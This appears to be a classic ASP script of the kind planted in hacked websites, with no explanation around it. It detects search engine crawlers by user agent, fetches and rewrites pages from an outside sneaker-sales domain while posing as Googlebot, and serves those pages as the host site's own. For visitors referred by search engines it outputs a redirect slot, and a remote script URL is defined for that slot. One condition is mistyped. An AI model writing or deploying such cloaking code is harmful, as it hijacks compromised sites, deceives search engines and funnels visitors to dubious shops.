<%@Language="vbscript" Codepage="65001"%> <% Function getHTTPPage(URL) Set HTTPReq =Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.SetRequestHeader "Content-Type","text/html; charset=utf-8" HTTPReq.SetRequestHeader "Referer","http://www.google.com" HTTPReq.SetRequestHeader "User-Agent","Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)" HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "utf-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function function is_spider() dim s_agent s_agent="s_agent:"&LCase(Request.ServerVariables("HTTP_USER_AGENT")) If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then is_spider = 1 else is_spider = 0 end if end Function function is_referer_search() dim s_referer s_referer="s_referer:"&LCase(Request.ServerVariables("HTTP_REFERER")) If instr(s_referer,"google")>0 Or instr(s_referer,"yahoo")>0 Or instr(s_referer,"bing")>0 Or instr(s_referer,"msnbot")>0 Or instr(s_referer,"alexa")>0 Or instr(s_referer,"ask")>0 Or instr(s_referer,"findlinks")>0 Or instr(s_referer,"altavista")>0 Or instr(s_referer,"baidu")>0 Or instr(s_referer,"inktomi")>0 Then is_referer_search = 1 else is_referer_search = 0 end if end function url="http://www.airjordanwomen.com/" jumpsrc="https://www.up-kicks.com/jordan.js" jumpcode="" If is_spider()=1 Then domain=Request.ServerVariables("HTTP_HOST") path=Request.ServerVariables("Script_Name") query=Request.ServerVariables("Query_String") jump=url&query htmls = getHTTPPage(jump) htmls = replace(htmls,url,"http://"&domain&path&"?") htmls = replace(htmls,"href"&chr(61)&""&chr(34)&"/","href"&chr(61)&""&chr(34)&"http://"&domain&path&"?") htmls = replace(htmls,"href"&chr(61)&""&chr(39)&"/","href"&chr(61)&""&chr(39)&"http://"&domain&path&"?") htmls = replace(htmls,"href"&chr(61)&""&chr(34)&"","href"&chr(61)&""&chr(34)&"http://"&domain&path&"?") htmls = replace(htmls,"href"&chr(61)&""&chr(39)&"","href"&chr(61)&""&chr(39)&"http://"&domain&path&"?") htmls = replace(htmls,"src"&chr(61)&""&chr(34)&"/","src"&chr(61)&""&chr(34)&url&"") htmls = replace(htmls,"src"&chr(61)&""&chr(39)&"/","src"&chr(61)&""&chr(39)&url&"") htmls = replace(htmls,"src"&chr(61)&""&chr(34)&"","src"&chr(61)&""&chr(34)&url&"") htmls = replace(htmls,"src"&chr(61)&""&chr(39)&"","src"&chr(61)&""&chr(39)&url&"") htmls = replace(htmls,"http://"&domain&path&"?media/",url&"media/") htmls = replace(htmls,"http://"&domain&path&"?skin/",url&"skin/") htmls = replace(htmls,"http://"&domain&path&"?js/",url&"js/") htmls = replace(htmls,"http://"&domain&path&"?wp-includes/",url&"wp-includes/") htmls = replace(htmls,"http://"&domain&path&"?wp-content/",url&"wp-content/") htmls = replace(htmls,"http://"&domain&path&"?images/",url&"images/") htmls = replace(htmls,"http://"&domain&path&"?image/",url&"image/") htmls = replace(htmls,"http://"&domain&path&"?themes/",url&"themes/") htmls = replace(htmls,"http://"&domain&path&"?modules/",url&"modules/") htmls = replace(htmls,"http://"&domain&path&"?includes/",url&"includes/") htmls = replace(htmls,"http://"&domain&path&"?ext/",url&"ext/") htmls = replace(htmls,"http://"&domain&path&"?css/",url&"css/") htmls = replace(htmls,"http://"&domain&path&"?min/",url&"min/") htmls = replace(htmls,"http://"&domain&path&"?stylesheets/",url&"stylesheets/") htmls = replace(htmls,"http://"&domain&path&"?wss-2014-styles.css",url&"wss-2014-styles.css") htmls = replace(htmls,"http://"&domain&path&"?item-css.css",url&"item-css.css") htmls = replace(htmls,"http://"&domain&path&"?index-css.css",url&"index-css.css") htmls = replace(htmls,"http://"&domain&path&"?subsection-css.css",url&"subsection-css.css") htmls = replace(htmls,"http://"&domain&path&"?us/",url&"us/") htmls = replace(htmls,""&chr(34)&url&"http",""&chr(34)&"http") htmls = replace(htmls,""&chr(39)&url&"http",""&chr(39)&"http") htmls = replace(htmls,"href"&chr(61)&""&chr(34)&"http://"&domain&path&"?http://"&domain&path&"?","href"&chr(61)&""&chr(34)&"http://"&domain&path&"?") htmls = replace(htmls,"href"&chr(61)&""&chr(39)&"http://"&domain&path&"?http://"&domain&path&"?","href"&chr(61)&""&chr(39)&"http://"&domain&path&"?") htmls = replace(htmls,""&chr(34)&"http://"&domain&path&"?http",""&chr(34)&"http") htmls = replace(htmls,""&chr(39)&"http://"&domain&path&"?http",""&chr(39)&"http") htmls = replace(htmls,"src"&chr(61)&""&chr(34)&"http://"&domain&path&"?","src"&chr(61)&""&chr(34)&url&"") htmls = replace(htmls,"src"&chr(61)&""&chr(39)&"http://"&domain&path&"?","src"&chr(61)&""&chr(39)&url&"") htmls = replace(htmls,"if(host1 != host2) {top.location = host2;}","") htmls = replace(htmls,"jscript_dojo2.js","") htmls = replace(htmls,"host2","") htmls = replace(htmls,"jpg'","jpg") htmls = replace(htmls,"","<title>") htmls = replace(htmls,"location","") htmls = replace(htmls,"jscript_dojo.js","") htmls = replace(htmls,"jscript_imagehover.js","") htmls = replace(htmls,"jscript_26","") htmls = replace(htmls,"jscript_dojo1.js","") htmls = replace(htmls,"jscript_doj.js","") Response.Addheader "Content-Type","text/html;charset=utf-8" response.write htmls Response.End Else If is_referer_search()=1 Then response.write jumpcode Response.End End If End If %>